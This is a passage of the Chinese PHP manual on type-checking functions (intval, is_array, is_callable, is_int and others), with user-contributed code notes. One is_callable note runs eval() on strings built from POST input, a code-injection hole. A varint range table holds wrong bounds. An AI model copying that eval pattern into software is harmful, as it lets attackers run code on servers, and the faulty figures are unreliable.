   $byte = ord(substr($hmb, $pos, 1));
   $high = floor($byte/128); // gets has-more flag
   $low = $byte - ($high*128);
   $ret += $low * pow(128, $pos++); // decode
  }
  return $ret;
}
?>

This codec pair is also quite useful when needing to write ints to files, as this is a low-numeral biased encoding: most of the time this will only require 8 or 16 bit rather than the 32 bits an int will use in fixed-length encoding.

The encoding range:

  1 byte  - 0 through 128 (2^7)
  2 bytes - 129 through 16,384 (2^14)
  3 bytes - 16,385 through 2,097,152 (2^21)
  4 bytes - 2,097,153 through 268,435,456 (2^28)

while indeed a 32 bit encoded variable length integer will be lower than maxint, rather than needing a new 32 bit block to represent higher range only 8 more bits are required to represent this higher number (for completeness the range of representation by bytes 5-8 are listed):

  5 bytes - 268,435,457 through 34,359,738,368 (2^35)
  6 bytes - 343,59,738,369 through 4,398,046,511,104 (2^42)
  7 bytes - 4,398,046,511,105 through 562,949,953,421,312 (2^49)
  8 bytes - 562,949,953,421,313 through 720,57,594,037,927,936 (2^56)

Also for completeness, the function to read a 7 bit with has-more bit from a filepointer:

<?php
// read a 7bhm numeral from file
function read_7bhm($fp) {
  $bytestring = "";
  $high = 1;
  while($high==1) {
   $byte = fread($fp, 1);
   $high = floor(ord($byte)/128); // check for has-more bit
   $bytestring .= $byte;
  }
  return decode_7bhm($bytestring); }
?>
simon at npkk dot cz
31-Jan-2006 12:03
Still have on mind, that if you convert big numbers by adding zero, PHP makes automatic "to a float" conversion, so it is same as floatVal(). So if the number is realy big (over 13 digits), you can lose preciosity. Do not use it for such long numbers, if all bits do matter (IPv6 addresses and similar).
simon at npkk dot cz
30-Jan-2006 10:48
intval() returns maxint on number_in_string, if the result would be bigger than it. But for float returns the signed 32 bit integer with the "same" value:
<?
$num=-1000;
print($num."\n");
$i_str=sprintf("%u",$num);
print($i_str."\n");
$i1=intval($i_str);
print($i1."\n");
$i2=intval(floatval($i_str));
print($i2."\n");
?>

prints:

-1000
4294966296
2147483647
-1000
anonymous at place dot com
18-Jan-2006 01:37
re: Disturbing issue with intval()

It's probably just good practice to round decimals anyways.  i.e...

$amount = round(19.99 * 100);
$test2 = intVal($amount);
$test3 = intVal("$amount");

echo $test2 . "<br />\n";
echo $test3 . "<br />\n";
Ben Laurienti
17-Jan-2006 05:21
You guys are going to love this.  I found something that I found quite disturbing.

$test1 = intVal(1999);

$amount = 19.99 * 100;
$test2 = intVal($amount);
$test3 = intVal("$amount");

echo $test1 . "<br />\n";
echo $test2 . "<br />\n";
echo $test3 . "<br />\n";

expected output:
1999
1999
1999

actual output
1999
1998
1999

Appears to be a floating point issue, but the number 1999 is the only number that I was able to get to do this.  19.99 is the price of many things, and for our purpose we must pass it as 1999 instead of 19.99.
adspeed.com
29-Jul-2005 11:32
Say you have a string $s="3763328634" to be used as a key into the database, intval() this string will result in a different,smaller number (depends on the machine/OS). To keep the number intact but as an int/long type, do $s +=0; instead.
24-May-2004 11:38
When trying to read 32bit values (32 bit limitation depends on the word size of your machine)  from a string that is represented in hex with the high bit set,
eg. F9833234

intval returns -1. The reason is the sign bit being set. This number is larger than can be saved in a signed int.

The way around this is to read the value in using two calls to intval.

eg.

$val = intval(substr($str,0,4), 16); // read high 16 bit word
$val <<= 16; // shift hi word correct position
$val |= intval(substr($str, 4, 4), 16); //  read low 16 bit word
tuxedobob at mac dot com
07-Feb-2004 08:56
Sometimes intval just won't cut it. For example if you want to use an unsigned 32-bit int and need all 32 bits. Recently, I wrote a little script that took and integer and converted it to an IP address. After realizing I couldn't just mod the whole thing, since the sign bit throws it off (and compensating for that), we ran into a problem where if it was entered into a form, the value somehow wasn't converted to an integer properly, at least not implicitly. The solution for this, and the way I recommend converting a string to an integer, is:

$num = $num + 0;

and PHP will leave your number alone; it'll just know it's a number. Such is the fun of a loosely-typed language. :)
Robin Y. Millette http://rym.waglo.com
15-May-2003 04:29
Rob_Kohr at no_need_to_email dot me dot com
11-Nov-2002 12:24

[snip]

$var=intval("122.5");
//$var==122

This is nice if you want to turn a double into an int automatically rounding down

Hum, I had a bug earlier today, involving ===. Coming from a c++ background, I can't help testing for types. I was using floor() to get an integer from a division by 2, and comparing that to a known integer from a for loop. Well, first I changed the === to == because the test would always be false otherwise. Next, I looked up this function, and converted most of my floor() calls to intval() calls, because I really meant to get an int, and not a float with no decimal part. So I have to disagree with the editor note here. Oh, and I'm comfortably back to using ===.
cleong at letstalk dot com
02-Oct-2001 08:21
intval() handles overflow differently depending on the type of the argument.

intval('10000000000') = 2147483647
intval(1e10) = 1410065408

intval(float) yields essentially non-defined result when the argument is beyond the range of int.
spectator at nanum dot net
12-May-2001 11:30
For hexadecimal value...
(Ex, RGB color value => each R,G,B integer value)
---------------------------------------

<?
$rgb = '#E7A3EF';
$r = intval(substr($rgb,1,2),16);
$g = intval(substr($rgb,3,2),16);
$b = intval(substr($rgb,5,2),16);
?>
RGB : <?= $rgb ?><br>
R : <?= $r ?><br>
G : <?= $g ?><br>
B : <?= $b ?><br>

---------------------------------------
=> RGB : #E7A3EF
R : 231
G : 163
B : 239
zak at php dot net
12-Aug-2000 04:38
intval converts doubles to integers by truncating the fractional component of the number.

When dealing with some values, this can give odd results.  Consider the following:

print intval ((0.1 + 0.7) * 10);

This will most likely print out 7, instead of the expected value of 8.

For more information, see the section on floating point numbers in the PHP manual (http://www.php.net/manual/language.types.double.php)

Also note that if you try to convert a string to an integer, the result is often 0.

However, if the leftmost character of a string looks like a valid numeric value, then PHP will keep reading the string until a character that is not valid in a number is encountered.

For example:

"101 Dalmations" will convert to 101

"$1,000,000" will convert to 0 (the 1st character is not a valid start for a number

"80,000 leagues ..." will convert to 80

"1.4e98 microLenats were generated when..." will convert to 1.4e98

Also note that only decimal base numbers are recognized in strings.

"099" will convert to 99, while "0x99" will convert to 0.

One additional note on the behavior of intval.  If you specify the base argument, the var argument should be a string - otherwise the base will not be applied.

For Example:

print intval (77, 8);  // Prints 77
print intval ('77', 8); // Prints 63
add a note add a note

后退 | 起点 | 前进
import_request_variables | 上一级 | is_array


is_array

(PHP 3, PHP 4, PHP 5)

is_array -- 检测变量是否是数组

描述

bool is_array ( mixed var )

如果 var 是 array，则返回 TRUE，否则返回 FALSE。

参见 is_float()、is_int()、is_integer()、is_string() 和 is_object()。

add a note add a note User Contributed Notes
jupiter at nospam dot com
30-May-2006 02:42
Will check a Multi-Dimentional Array to any specified level.  This is a fix to 11/16/05 submission, which would break since you must supply a foreach with an array. Beware recursive functions shouldn't go over 100 deep or could break the memory stack on server.

<?php
// checks for multiarray to defined depth level recursively
// original $level must be 2 or more, else will instantly return true
function isDeepMultiArray($multiarray, $level = 2) {  // default is simple multiarray
   if (is_array($multiarray)) {  // confirms array
       if ($level == 1) {  // $level reaches 1 after specified # of recursions
           return true;  // returns true to recursive function conditional
       }  // end conditional
       foreach ($multiarray as $array) {  // goes one level deeper into array
           if (isDeepMultiArray($array, $level - 1)) {  // check subarray
               $message = "I'm a multiarray";  // optional message
               return $message;  // best if $message = true so function returns boolean
           }  // end recursive function
       }  // end loop
   } else {  // not an array at specified level
   return false;  // is also used recursively so can't change to message
   }
}

if (isDeepMultiArray(array(array()), 2)); // beware this returns true eventhough arrays are empty

?>
BTW my notation is consistent with the PEAR manual on coding standards, which is what php.net says to follow. I hope a function like this gets included in PHP6.
jupiter at nospam dot com
30-May-2006 12:15
Simple check for a Multi-Dimentional Array of any depth
<?php
// checks for multiarray (2 or more levels deep)
function isMultiArray($multiarray) {
  if (is_array($multiarray)) {  // confirms array
   foreach ($multiarray as $array) {  // goes one level deeper
     if (is_array($array)) {  // is subarray an array
       return true;  // return will stop function
     }  // end 2nd check
   }  // end loop
  }  // end 1st check
  return false;  // not a multiarray if this far
}
?>
jupiter at nospam dot com
30-May-2006 10:50
Will check a Multi-Dimentional Array to any specified level.  This is a fix to 11/16/05 submission, which would break since you must supply a foreach with an array. Beware recursive functions shouldn't go over 100 deep or could break the memory stack on server.
<?php
// checks for multiarray to defined depth level recursively
function isDeepMultiArray($multiarray, $level = 2) {  // default is simple multi-array
  if (is_array($multiarray)) {  // confirms array
   if ($level == 1) {  // is array only 1 level deep, hence not multiarray
     return true;
   }  // end conditional
   foreach ($multiarray as $array) {  // goes one level deeper
     if (isDeepMultiArray($array, $level - 1)) {  // check subarray
       return true;
     }  // end recursive function
   }  // end loop
  } else {  // not an array at specified level
   return false;
  }
}
?>
BTW my notation is consistent with the PEAR manual on coding standards, which is what php.net says to follow. I hope a function like this gets included in PHP6.
March
30-Mar-2006 10:28
And here is another variation for a function to test if an array is associative. Based on the idea by mot4h.

<?php
function is_associative($array)
{
  if (!is_array($array) || empty($array))
   return false;

  $keys = array_keys($array);
  return array_keys($keys) !== $keys;
}
?>
mot4h at cs dot virginia dot edu
23-Feb-2006 05:41
I was looking at several of the other examples for testing if an array is associative and they seemed a little limited, or a little bulky. Here's my take on it, I think it's a nice balance:

<?php
function is_associative($array){
  if (!is_array($array)) return false;
  foreach(array_keys($array) as $key=>$value) {
   if ($key != $value) return true;
  }
  return false;
}
?>

The idea being that the array_keys() function returns a non-associative array, so if the array you fed it wasn't associative, all the key/value pairs in the array of keys should be identical. Otherwise it must have been associative.
junkpost at list dot ru
27-Jan-2006 08:06
There is another example of check to associative array. (See below early versions.)

<?php

funciton is_assoc_array($var) {
   return is_array($var) && !empty($var) && !preg_match('/^\d+$/', implode('', array_keys($var)));
}

?>
mmalone at NOSPAM dot vt dot edu
15-Jan-2006 07:40
I was just profiling a rather large php app I have been working on using APD, and noticed that the is_array() function is (apparently) rather inefficient in terms of 'real' time.  Not sure why this might be, but it could be a bottleneck in an application where performance is important.

Here is the applicable pprofp output, for those interested:

         Real        User        System            secs/    cumm
%Time (excl/cumm)  (excl/cumm)  (excl/cumm) Calls    call    s/call  Memory Usage Name
--------------------------------- -----------------------------------------------------
36.9 0.76 0.76  0.00 0.00  0.05 0.05    53  0.0143  0.0143      -99704 is_array
ryanyoder at canby dot com
17-Nov-2005 02:25
this is my attempt at writing a function that would check for a multi dimentional array.  where $dim is the number of dimentions you are checking for and $array is of course the variable that is being check.  i dont know if there's a better way out there, but this is what i do.

   function is_multi_array($array,$dim)
   {
     if(($dim==1)&&(is_array($array)))
     {
         return 1;
     }
     foreach($array as $level2)
     {
         if(is_multi_array($level2,$dim-1))
         {
           return 1;
         }
     }
     return 0;
   }
doker0 at wp dot pl
25-Jul-2005 06:40
This should hack the hack to accept tables
NOTICE! Works only for 1-dim arrays.

if (!function_exists('http_build_query')) {
   function http_build_query($formdata, $numeric_prefix = "")
   {
       $arr = array();
       foreach ($formdata as $key => $val)
         $arr[] = is_array($val) ? http_build_query($val,$key)  :
         ( $numeric_prefix !='' ? (urlencode($numeric_prefix) . '[' . urlencode($key) . ']')
         : urlencode($key))  . "=".urlencode($val) ;
       return implode($arr, "&");
   }
}

for query '?a[0]=w&b=ggg&a[1]=x&a[2]=y&a[3]=z'
var_export($_GET); shows

array (
  'a' =>
  array (
   0 => 'w',
   1 => 'x',
   2 => 'y',
   3 => 'z',
  ),
  'b' => 'ggg',
)

and

echo (http_build_query($_GET));
shows

a[0]=w&a[1]=x&a[2]=y&a[3]=z&b=ggg
yonman at nsa dot co dot il
04-Apr-2005 04:31
To expand a bit on dan at cain dot sh's comment - is_array will not properly identify Iterator implementing classes.
dan at cain dot sh
11-Dec-2004 09:05
is_array() under PHP 5.0.2 will return FALSE when passed an object descended from the internal class interface ArrayAccess(http://www.php.net/spl) even though said object behaves as an array would in most instances.

I've found the following user function helpful with my own classes and functions that expect array(s) as arguments, but work fine with objects that behave as an array would.

<?php
function is_array_abled(&$x)
{
   return (bool)($x instanceof ArrayAccess or is_array($x));
}
?>
vhermecz at ixpert dot hu
02-Apr-2004 08:58
Mike's function is quite cool, it is just the one, I was searching for. Using range is a great idea! But it's a bit long for me. Here is a shorter version:

function is_assoc_array($var) {
   if (!is_array($var)) {
       return false;
   }
   return array_keys($var)!==range(0,sizeof($var)-1);
}

Or, if you don't want to type that much:

function is_assoc($var) {
   return is_array($var) && array_keys($var)!==range(0,sizeof($var)-1);
}
mike-php at spam dot emerge2 dot spam dot com
23-Aug-2003 06:20
All arrays in PHP are associative arrays, but it is quite easy to treat an associative array just like it is a sequential array. However, when dealing with XML-RPC, it is necessary to know whether an array is associative or sequential, so I created this function.

It isn't perfect, since an associative array that just happens to have sequential, integer keys starting with 0 will 'look' exactly like a sequential array, and will fool this function.

/****************************************************************
* is_assoc_array tries to decide whether or not a given array  *
* is an associative array, or a sequential array. Of course, no *
* such distinction is made by PHP, so it really just tests      *
* whether or not a given array could possibly be a sequential  *
* array. Since an associative array with sequential, integer    *
* keys 'looks' just like a sequential array, this function will *
* be fooled.                                                    *
*                                                              *
* BUG: Associative arrays with sequential, integer keys 'look'  *
* just like sequential arrays, and will be identified as such.  *
*                                                              *
****************************************************************/
function is_assoc_array( $php_val ) {
   if( !is_array( $php_val ) ){
     # Neither an associative, nor non-associative array.
     return false;
   }

   $given_keys = array_keys( $php_val );
   $non_assoc_keys = range( 0, count( $php_val ) );

   if( function_exists( 'array_diff_assoc' ) ) { # PHP > 4.3.0
     if( array_diff_assoc( $given_keys, $non_assoc_keys ) ){
         return true;
     }
     else {
         return false;
     }
   }
   else {
     if( array_diff( $given_keys, $non_assoc_keys ) and array_diff( $non_assoc_keys, $given_keys ) ){
         return true;
     }
     else {
         return false;
     }
   }
}
add a note add a note

后退 | 起点 | 前进
intval | 上一级 | is_bool


is_bool

(PHP 4, PHP 5)

is_bool -- 检测变量是否是布尔型

描述

bool is_bool ( mixed var )

如果 var 是 boolean 则返回 TRUE。

例子 1. is_bool() 示例

<?php
$a = false;
$b = 0;

// 因为 $a 是布尔型，所以结果为真
if (is_bool($a)) {
    print "Yes, this is a boolean";
}

// 因为 $b 不是布尔型，所以结果为非真
if (is_bool($b)) {
    print "Yes, this is a boolean";
}
?>

参见 is_array()、is_float()、is_int()、is_integer()、is_string() 和 is_object()。

add a note add a note User Contributed Notes
21-Apr-2006 07:12
Small caveat to rh's post: back in PHP 3, "0" would be considered non-empty (i.e., empty would return false), even though (bool) on "0" would also evaluate to false; thus, they would not be complete opposites for someone using PHP 3.
rh at richardhoward dot net
23-May-2005 02:17
punkpuke is wrong here; what he means to say is that empty($x) is the opposite of (bool)$x.  is_bool($x) returns true where $x === false.
add a note add a note

后退 | 起点 | 前进
is_array | 上一级 | is_callable


is_callable

(PHP 4 >= 4.0.6, PHP 5)

is_callable -- 检测参数是否为合法的可调用结构

描述

bool is_callable ( mixed var [, bool syntax_only [, string callable_name]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
jphp at dsf dot org dot uk
12-Feb-2006 07:38
bob at theshirdshift:

"function_exists" doesn't do this, no, but "method_exists" works fine, and is still faster than is_callable:

<?php
function doTimes($start, $end)
  {
   $start_time = explode (" ", $start);
   $start_time = $start_time[1] + $start_time[0];
   $end_time = explode (" ", $end);
   $end_time = $end_time[1] + $end_time[0];
   $time = $end_time - $start_time;
   return $time;
  }

class test
  {
     function test()
     {
         return true;
     }
  }

$test = new test;

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(method_exists('test', 'test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists    = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>method_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 method_exists in ".$timeExists." seconds";
?>

is_callable = TRUE, method_exists = TRUE

Did 10000 is_callables in 0.410346984863 seconds
Did 10000 method_exists in 0.175447940826 seconds
yetanotheruser at hotmail etc
15-Dec-2005 10:47
I have come across a strange oddity in versions around the 4.3.11 mark - I may have missunderstood the purpose of this function but hope this'll be helpful for some.

The point the code below is supposed to illustrate is that in some cases with

   <? $myFunc = Array( $myObj, 'myMethod' ); ?>

   <? is_callable( $myFunc, true, $callMe ); ?>

will return true, and give you $callMe set to myObj::myMethod but calling

   <? $callMe(); ?>

doesn't work... however calling

   <? $myFunc[0]->$myFunc[1](); ?>

seems to work fine..

... the reason all the code is down there is I think this oddity is due to how/the order in which I've instantiated my classes or something...

anyhow... HTH someone! :-)

Code follows:

FILE 1 :
<?
   include('myTools');

   $foo = new myClass();

   print $foo->getMySource();

   class myClass{

       var $flibble = 'wibble';

       function myClass(
           // Initialise loads of stuff.. including..
           $this->tools = new myTools();
       )

       function getMySource(){
           // This just returns the source.. ok, like some HTML to go into an email for example.
           // Some arguments;
           $args  = $this->flibble;
           // Call our Tool that returns the source..
           $source = $this->tools->returnSource( Array ( $this, 'someHTML' ), $args );
           // and return it..
           return ( $source );
       }

       function someHTML($args){
           // Leave PHP
           ?>
            Here is some HTML.. that we want to build outside a PHP block,
           possibly just cos it's tidier in <B>your favourite text editor</B>..
           .. or you want this function to be elsewhere.. for your designers
           to play with etc.. ... incidentally I'd like to say "<?=$args?>" etc.
           <?
           // .. and we're back.
       }
   }

?>

FILE 2:

<?
   /* OK - this is some other big library and a whole load more
       faff but this is the particular function in question... it
       just calls the function it's been asked to and uses an output
       buffer to grab the output and return it as a string rather than
       letting it go to terminal/browser.... useful for grabbing PHP pages
       for spidering, emailing etc. etc. etc..
   */

   class myTools(){

       function returnSource($func, $args){

           if ( is_callable ( $func, true, $callMe ){
               // Start a buffer
               ob_start();
               // Calling the function like this DOESN'T seem to work:
               // ~~~~~~~~
               // "Command not found : myClass::someHTML"
               // $callMe($args);
               // ~~~~~~~~
               // But - what I've discovered is that this behaves fine..
               if ( is_array($func) ){
                   $func[0]->$func[1]($args);
               } else {
                   $func($args);
               }
               // Then we just carry on with our code..
               $rtn =    ob_get_contents();
               ob_clean();
               return ( $rtn );
           } else {
               error_log("Doh!");
           }
       }
   }

?>
empyone at tiscalinet dot it
09-Nov-2005 04:41
To corey at eyewantmedia dot com:

your misunderstanding lies in passing in the naked $object parameter. It is correct for is_callable to return FALSE since you cannot 'call an object', you can only call one of its methods, but you don't specify which one. Hence:

is_callable(array($object, 'some_function'), [true or false], $callable_name)

will yield the correct result.

Notice, though, that a quick test I made (PHP 5.0.4) showed that is_callable incorrectly returns TRUE also if you specify the name of a protected/private method from outside of the context of the defining class, so, as wasti dot redl at gmx dot net pointed out, reflection is the way to go if you want to take visibility into account (which you should for true OOP, IMHO).
wasti dot redl at gmx dot net
09-Oct-2005 07:14
The way to discover whether a method exists in face of a __call is reflection.

It should be mentioned that although array('Test', 'func') is callable according to this function (where func is a public static method of Test), actually calling this construct as $fn() fails.
corey at eyewantmedia dot com
19-Mar-2005 07:39
I've been spending a month on and off trying to figure out why

is_callable($object, [true or false], $varContainingFunctionName)

returned false when it should not have (ie: $object->FunctionName() was callable), I realized I must have misunderstood its purpose. If you find yourself in the same situation, try

function_exists(string functionname)

or

method_exists ( object object, string method_name )

before you rip your hair out :)
mcroghan at digitalkeg dot com
11-Feb-2005 11:36
Be careful when using this function and __call (PHP5).  This function will always report true when using __call.

Need a specific function for the purpose of checking if a class method exists explicitly even when using __call.

Haven't ruled out the possibility of the existence of such a function yet.  So if someone knows of one, please point it out.
bob at thethirdshift dot net
24-Jun-2004 12:54
I, too, was wondering whether is_callable or function exists is faster when checking class methods.  So, I setup the following test:

<?php
function doTimes($start, $end)
  {
   $start_time = explode (" ", $start);
   $start_time = $start_time[1] + $start_time[0];
   $end_time = explode (" ", $end);
   $end_time = $end_time[1] + $end_time[0];
   $time = $end_time - $start_time;
   return $time;
  }

class test
  {
     function test()
     {
         return true;
     }
  }

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(function_exists('test::test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists    = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>function_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 function_exists in ".$timeExists." seconds";
?>

This gives the output :

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0640790462494 seconds
Did 10000 function_exists in 0.0304429531097 seconds

So the fact that function_exists is twice as fast is slightly over shadowed by the fact that it doesn't work on class methods, at least not as far as I can tell.
webmaster __AT__ digitalanime __DOT__ nl
04-Apr-2004 06:30
<?php
while(list($key,$value)=each($HTTP_POST_VARS))
{
  $tmpVar = 'return isset($' . 'this->' . $key . ');';
  if(is_callable($key) && eval($tmpVar) && trim($value) != "")
  {
  $tmpSet = '$this->set' . ucfirst($key) . "('" . $value . "');";
   eval($tmpSet);
}
}
?>
Why do you use this?

Isn't this a better solvation (or.. Whatever :P)

<?php
foreach($_POST as $key => $value)
{
 if(is_callable($key) && isset($this->{$key}) && trim($value != '')
 {
  $this->{'set' . ucfirst($key)}($value);
 }
}
?>

Tada.. Variable objects, that's what they are..
add a note add a note

后退 | 起点 | 前进
is_bool | 上一级 | is_double


is_double

(PHP 3, PHP 4, PHP 5)

is_double -- is_float() 的别名

描述

此函数是 is_float() 的别名函数。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
is_callable | 上一级 | is_float


is_float

(PHP 3, PHP 4, PHP 5)

is_float -- 检测变量是否是浮点型

描述

bool is_float ( mixed var )

如果 var 是 float 则返回 TRUE，否则返回 FALSE。

注: 若想测试一个变量是否是数字或数字字符串（如表单输入，它们通常为字符串），必须使用 is_numeric()。

参见 is_bool()、is_int()、is_integer()、is_numeric()、is_string()、is_array() 和 is_object()。

add a note add a note User Contributed Notes
phper
26-Jan-2006 04:08
A better way to check for a certain number of decimal places is to use :

$num_dec_places = 2;
number_format($value,$num_dec_places);
kirti dot contact at gmail dot com
19-Oct-2005 02:18
To check a float only should contain certain number of decimal places, I have used this simple function below

<?
function is_deccount($number,$decimal=2){
   $m_factor=pow(10,$decimal);
   if((int)($number*$m_factor)==$number*$m_factor)
       return true;
   else
       return false;
 }
?>
add a note add a note

后退 | 起点 | 前进
is_double | 上一级 | is_int


is_int

(PHP 3, PHP 4, PHP 5)

is_int -- 检测变量是否是整数

描述

bool is_int ( mixed var )

如果 var 是 integer 则返回 TRUE，否则返回 FALSE。

注: 若想测试一个变量是否是数字或数字字符串（如表单输入，它们通常为字符串），必须使用 is_numeric()。

参见 is_bool()、is_float()、is_integer()、is_numeric()、is_string()、is_array() 和 is_object()。

add a note add a note User Contributed Notes
Ender at soldat dot nl
16-Feb-2006 07:38
Be aware that is_numeric (mentioned in this article as the proper way to validate string numbers) also allows numbers in scientific and hexadecimal annotation. Thus DO NOT USE that function to validate user input that will be used as id number for in a query for example, this could cause mysql errors. Use ctype_digit instead.
ludvig dot ericson at gmail dot com
07-Jan-2006 05:00
I would like to say that is_int() is pretty helpfull when looking for neat proper ways to check functions that return either integers or booleans (false) on failure (strpos, socket_select, etc.)
<?php
function mySelect() {
   global $someSockets;
   $ret = socket_select($someSockets, $o = array(), $e = array(), 0);
   if (!$ret)
       return is_int($ret);
   /* FURTHER PROCESSING HERE */
   return true;    // Return true if the function proceeded as expected.
}
?>
The point of doing this is that if you put this in a while() loopo, you'll break it when the select fails.
<?php
while (mySelect());
?>

Hope you get the point
 - toxik
19-May-2005 02:46
function precisionNumero($numero, $precision, $noDevuelveNulo) {
   if ( (isset($numero)) && (is_numeric($numero)) ) { //Es un nmero
       if ( ((int)$numero) == ((float)$numero) ) { //Entero
           $entero=(int)$numero;
       }
       else { //Real
           if ((substr($numero,0,1)) ==".") {//Real que comienza por .
               $entero="0";
               $patronPrecision=".%".$precision."s";
               sscanf ($numero,$patronPrecision, $decimal);
           }
           else { //real estandar
               $patronPrecision="%d.%".$precision."s";
               sscanf ($numero, $patronPrecision, $entero,$decimal);
           }
       }

       for ($i=strlen($decimal); $i<$precision ; $i++) {
           $decimal.="0";
       }
   }
   else { // No es un numero valido
       if ($noDevuelveNulo) {
           $entero="0";
           for ($i=0; $i<$precision ; $i++) {
               $decimal.="0";
           }
       }
       else return NULL;
   }
   return ($entero.".".$decimal);
}

precisionNumero("1.2.3", 2, true) returns 0.00
precisionNumero("1.23", 3, true) returns 1.230
precisionNumero(".23", 5, true) returns 0.23000
precisionNumero("1.", 7, true) returns 1.0000000
precisionNumero("1.2.3", 3, false) returns NULL
precisionNumero("0.0", 3, false) returns 0.000
berndt at www dot michael - berndt dot de
07-May-2005 02:57
checks if the divisibility is true with is_int ()
http://www.michael-berndt.de/ie/tux/teilbarkeitsregeln.htm
phpContrib (A T) esurfers d o t c o m
07-Nov-2003 04:42
// Just to be pedantic... ;)
// extreme-ints (!) like this will not work with previous function:

Test ("10.01e2" );
// 10.01e2 is 1001

// This one:

function myIsInt($x) {
   return ( is_numeric ($x ) ?  intval(0+$x ) ==  $x  :  false );
}

// will work even on these paranoid cases...

Note that:

   0+$x => converts object to float
   intval converts float to int
   == converts string to float

so this is exactly like

   return (is_numeric ($x ) ?  (float)((int)((float)$x))  === (float)$x  :  false) ;

or with one conversion to float less...

function real_is_intValued($var) {
   if(is_numeric($var)) {
       $var=(float)$var;
       return ((float)(int)$var)===$var;
   }
   return FALSE;
}
lclkk at urbanvagabond dot net
16-Sep-2003 10:24
I think the function below is a robust test for integers working on all datatypes. It works by first checking that a number can be evaluated numerically, and then secondly that the integer evaluation matches the original number.

Test cases are included.

<?
function myIsInt ($x) {
   return (is_numeric($x) ? intval($x) == $x : false);
}

function Test($x) {
   echo "$x is " . ( myIsInt($x) ? ('an integer. The integer value is ' . intval($x)) : 'not an integer.');
   echo "\n";
}

echo "These should be integers...\n";
Test(1);
Test(5);
Test(10);
Test(10.0);
Test(20.0);
Test(-20.0);
Test(0+4+4.5+4.5);
Test("10.0");
Test("+14");
Test("-15");
Test("0");

echo "\nThese should not be integers...\n";
Test(true); // watch out, this displays as '1'
Test(false);
Test("moose");
Test("3.5");
Test("-214235.5");
Test(""); // empty string
Test(array(1,2,3));
Test(dir('.')); // object
Test(null);
?>
gabe at websaviour dot com
15-Jul-2003 02:08
Although this can be inferred from the documentation, beware of numeric strings.  I ran into the problem in a MySQL app where I would either SELECT an INT PRIMARY KEY or INSERT a new record and use mysql_insert_id() to get the KEY before continuing onto the new section.

I used is_int() to make sure the subsequent queries wouldn't break when using the key variable.  Unfortunately I failed to realize that while mysql_insert_id() returns an int, mysql_result() always returns a string even if you are SELECTing from an INT field.

Spent at least 30 minutes trying to figure out why existing records weren't getting linked, but new records would link fine.  I ended up using intval() on mysql_result() to make sure subsequent queries still always work.
phpguru at gmx dot ch
05-Jul-2003 11:50
To Logan:

There's also a simple non-regexp way to convert a (form) value into an integer if it consists of numbers only - although with a trap (see below):

if ($_POST["number"] == (int)$_POST["number"]) $_POST["number"] = (int)$_POST["number"];

The "traps" (or "side effects") appear with values like "" (empty string) and false (boolean), which are converted to 0 (integer). But in certain cases this might be desirable or/and usefull ;-)

Solutions like

if (($_POST["number"] + 1 - 1) == $_POST["number"]) ...

falls into the same category.
mark at g33kz dot co dot uk
18-Jun-2003 08:44
Or you could just use is_numeric()

I have a file called input.php which I run at the beginning of all my scripts which makes sure all my input numbers are converted to integers automatically.

if ($_GET) {
  foreach ($_GET as $k => $v) {
   $_GET[$k] = trim (stripslashes ($v));
   if (is_numeric ($v)) {
     $_GET[$k] = intval ($v);
   }
  }
}
if ($_POST) {
  foreach ($_POST as $k => $v) {
   $_POST[$k] = trim (stripslashes ($v));
   if (is_numeric ($v)) {
     $_POST[$k] = intval ($v);
   }
  }
}
if ($_COOKIE) {
  foreach ($_COOKIE as $k => $v) {
   $_COOKIE[$k] = trim (stripslashes ($v));
   if (is_numeric ($v)) {
     $_COOKIE[$k] = intval ($v);
   }
  }
}
logan at logannet dot net
11-Feb-2003 07:42
[[Editors note: Or you can simply use is_numeric()]]

Some people have offered their ways to find out if a string from a form is an integer or not, here's my way:

if(ereg("^[0-9]+$", $_POST["number"])) $_POST["number"] = (int)$_POST["number"];

In psuedo code:
if you are a string full of numbers then convert yourself to an integer

So instead of just checking if its a string full of numbers you check and then convert it, which means you can use the standard is_int. You can also do:

if(ereg("^[0-9]+$", $_POST["number"])) $_POST["number"] += 0;

I think the first way i mentioned is better because your coding what you want to do, rather than the second way that uses a side effect of adding 0 to convert the string.

The first way also may make your code ever so slightly faster (nothing noticeable) as php does not need to add 0 to the number after it converts it.

Also note an integer is full numbers (1, 2, 3 etc) not decimal numbers (1.1, 2.4, 3.7 etc), to convert decimal numbers you could use something like:

if(ereg("^[.0-9]+$", $_POST["number"])) $_POST["number"] = (float)$_POST["number"];

OR

if(ereg("^[.0-9]+$", $_POST["number"])) $_POST["number"] += 0;

But note that these would not work with is_int(), because they are not integers.
add a note add a note

后退 | 起点 | 前进
is_float | 上一级 | is_integer


is_integer

(PHP 3, PHP 4, PHP 5)

is_integer -- is_int() 的别名

描述

此函数是 is_int() 的别名函数。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
is_int | 上一级 | is_long


is_long

(PHP 3, PHP 4, PHP 5)

is_long -- is_int() 的别名

描述

此函数是 is_int() 的别名函数。

